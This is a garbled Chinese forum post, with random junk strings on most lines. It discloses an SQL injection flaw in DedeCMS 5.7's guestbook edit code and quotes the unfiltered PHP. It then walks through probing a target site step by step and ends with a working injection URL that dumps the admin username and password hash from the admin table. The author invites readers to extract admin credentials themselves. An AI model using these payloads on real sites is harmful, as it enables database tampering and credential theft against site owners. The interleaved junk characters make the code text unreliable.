影响版本为5.7: z0 q- @: ^! t1 ?! S
; }+ A- S9 [# p1 f5 h, c& a漏洞文件edit.inc.php具体代码:& E+ s* A) Y0 f
/ w+ V7 w# f* z6 W< ?php + W% V. g& f% ~7 t+ z4 B
9 w' T# e. J/ D* ?0 l5 y
if(!defined('DEDEINC')) exit('Request Error!');
$ N _! a9 i! w& l+ b; G, z% {: }2 b* o! _
- X$ \* T! _! ?# |5 }
+ H2 }' C4 m! c3 x; uif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; - p( ^ x2 n; Z& ~
; Z7 }$ {3 j6 |/ Ielse $GUEST_BOOK_POS = "guestbook.php";
+ z @8 m' l. G1 Y; w
7 F. D6 d! N* n, P
8 V: y/ u- \: r$ [. ~0 E- s
- }4 v: |" S2 t/ I% f$id = intval($id);
' n/ C4 J/ J0 S
& J# ]5 ?1 w* I4 f i, x' E: nif(empty($job)) $job='view';
6 |1 S' G% E5 E; {
' [' \5 o1 n! @* Y' Q 4 C9 u4 `2 F9 Z
6 B( J! P: ?% V1 i" {5 ^if($job=='del' && $g_isadmin)
F5 O* ]. u& u. ~, F" v/ E3 u$ O! l
{
9 t' S; R3 O2 ?) y/ c% Y$ `5 q" H- H( Z, K" `
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
% G% d5 G: @# U& b' V7 ~
. S! L) E% [+ e UShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
: _5 q7 Y5 E9 c* G2 J$ @' p
6 I3 W0 Y6 ~2 [" y* p' B, texit(); 8 T$ _# N/ R, A, `( c) t
/ u3 {! l2 d) B. k. d; R n6 F# X
} ! q, r a' M) q. K2 d' \1 l
; H% t; V K7 U8 ?6 F3 h: a1 A- A
else if($job=='check' && $g_isadmin) ! p8 h6 z5 J3 b- Z1 Y7 i
, g, X4 v% G7 w+ Q
{
: U! g [. s) F; v' g R& Q
5 G* _: s5 Y c: X5 d$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
1 J0 ^: ~- R g1 y) b2 k, t$ ]4 m* n' z
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); ) b9 O4 a' ~ k
9 K! y7 e' z9 E
exit(); 2 M; n+ ~& w* T" G+ S4 ]8 h: u
7 C2 V4 X }) x# e$ m
} ; o; p$ E" M j/ S- o }6 f
+ X( r4 @: T% N( t4 R; J( H. felse if($job=='editok')
# J# U- [% W4 J8 L8 T1 W8 I1 S8 P$ J, y/ ?# K3 }
{
# a) o, F0 O, \1 a( a
$ G' J$ X. T) V$remsg = trim($remsg);
/ a0 q* F, E* i$ x. P1 N
' b+ b( n; z' [' P; a4 ~: \if($remsg!='') 0 n9 V) Y h* b- a7 a7 ~# ~
- T3 `3 R- W! B( D# p# U! H{ 4 G; z$ G1 o: [6 O- c
9 o) J# t3 U. e0 |3 S6 V3 B8 X//管理员回复不过滤HTML By:Errorera blog:errs.cc
( I; S3 C, R N; K# x( S; N0 q" |1 }
if($g_isadmin)
, {$ `& C/ Z6 z" E+ q& L i+ K: @
{ 4 u, W" q Q. n! g4 F( z g
1 I" j5 ~7 ^) \$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
/ S0 E! ?1 p7 M6 d5 n: a2 O- o6 i, {0 `( j$ T
//$remsg <br /><font color=red>管理员回复:</font> } ! I! `4 g+ U3 y& t: ~
8 ]8 S4 t. a4 o9 y7 }" P) helse
) e7 J$ a9 _( ^. e# C; i5 U- E+ F/ o% A$ i' c3 `" _
{
7 Q+ {% A3 _2 {2 ~0 G7 j; N7 w0 k9 i2 i- i' x) ]; ^
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
$ {9 a1 D& a& D7 r2 o& U t2 K
2 ^" A) B [8 G& B3 M* \$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; 1 a9 W! H5 U6 B9 G9 b( u
) D, n6 P! A }( S0 O( i$remsg = trimMsg(cn_substrR($remsg, 1024), 1); - I) }& `1 z' f; Y
& o6 V! Q+ ]' D4 Q) f; b3 r
$msg = $oldmsg.$remsg; + t, [. ^9 y! T$ \. ?1 x
/ L3 z6 W! X6 q% F9 I$ [
} : i& G* Y* J4 A4 V: a
+ w8 @7 k! U R! `( w
}
; l% q# X3 x0 z. K3 l1 I1 A1 d2 k! f, H, u% v- G& v- S
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc
% k, m. Q* {3 r
l5 m0 @: N: @& f- ~$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
- M, U( C" }+ m4 R" r* x2 n# M I& L. w* z& W$ _- \: w: h* R
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
# n9 c* `6 |. v! S
7 c- _ E7 X5 G8 b! \+ k9 Eexit(); % g3 B! @' t, K) r
: R. W6 T! m! i# w" e} 7 S# R% d9 S# L6 ]' \5 D c. k
# s/ v+ x: o3 ?4 C
//home:www.errs.cc " p1 W8 _4 W) ~1 p0 b
" a# }6 ^ \( _% {# `. g# ?/ sif($g_isadmin) v8 p& u6 {4 r
# \% e# e. a6 m
{ & [4 ~* `. M# {/ x7 E$ m- g- `
8 E% r' Y9 K2 c$ C: F
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); 1 S* Z% P, N9 ]3 A: R
2 o) i S8 ]: H- Urequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); " z4 w. K' `6 }
2 ?+ R5 S& }; s$ K3 \, I& e}
# E$ E" L& L! d9 f5 l6 F, I% g; q4 Y& I% h/ W& U- ?- T
else $ D7 ~, b$ _) q% ~
# h8 m0 z& M4 M) l{
5 J. w, T, J( g( f/ W+ W- m5 e% {9 @+ K& ]* [! z4 j2 z' B
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); , J! u" m6 t/ o- G
& Z1 _) C g2 O) H, P( X7 b# `
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); ( o U* l! }7 n2 }9 W
7 t" m: W [; B- p" J
} 漏洞成功需要条件:
7 d+ |3 ]6 h4 V$ y8 n) Y, \! Y1. php magic_quotes_gpc=off
9 g/ g, ?/ Q+ G' R7 J& g2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
9 J& s; N, x1 N6 z4 `
$ F4 U9 N# }* n- N# T) X- ~8 c怎么判断是否存在漏洞:
) s8 D- J% Y6 w/ m! j先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,3 k* `, `+ I" B: o4 I& y& p; b" i8 @/ F
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
% _% ~/ ?' V& f0 L, i2 Z+ q7 l访问:; H# m O% N+ U" ?, _# z# M0 X5 q& @
. U# S, V% O3 J* |( K
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了! D9 k9 G" |) b% |) t# i( ?8 T
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
, f( R {0 H0 I" i& i: P8 S+ i6 n2 D
9 \1 Z. e. J( Q& W- a! u
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
# o* [; y+ T. x4 o如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。. B' g# i8 E2 w" Y" m- _( N
那么再次访问- N7 L8 [5 w4 \2 ^
, o* ?& r# p" F3 ~www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().0 {) G9 |7 W% ^ n3 _" R5 C
; Q& F l$ ]5 J0 _
大概利用就是这样,大家有兴趣的多研究下!!
! s1 ~* H/ h2 D& U6 n" |3 k6 U. K1 T( A i* r! c
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
% ?6 p$ c5 G4 Z& g8 f9 w* w+ f/ s$ m/ [2 e! }4 T2 |
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |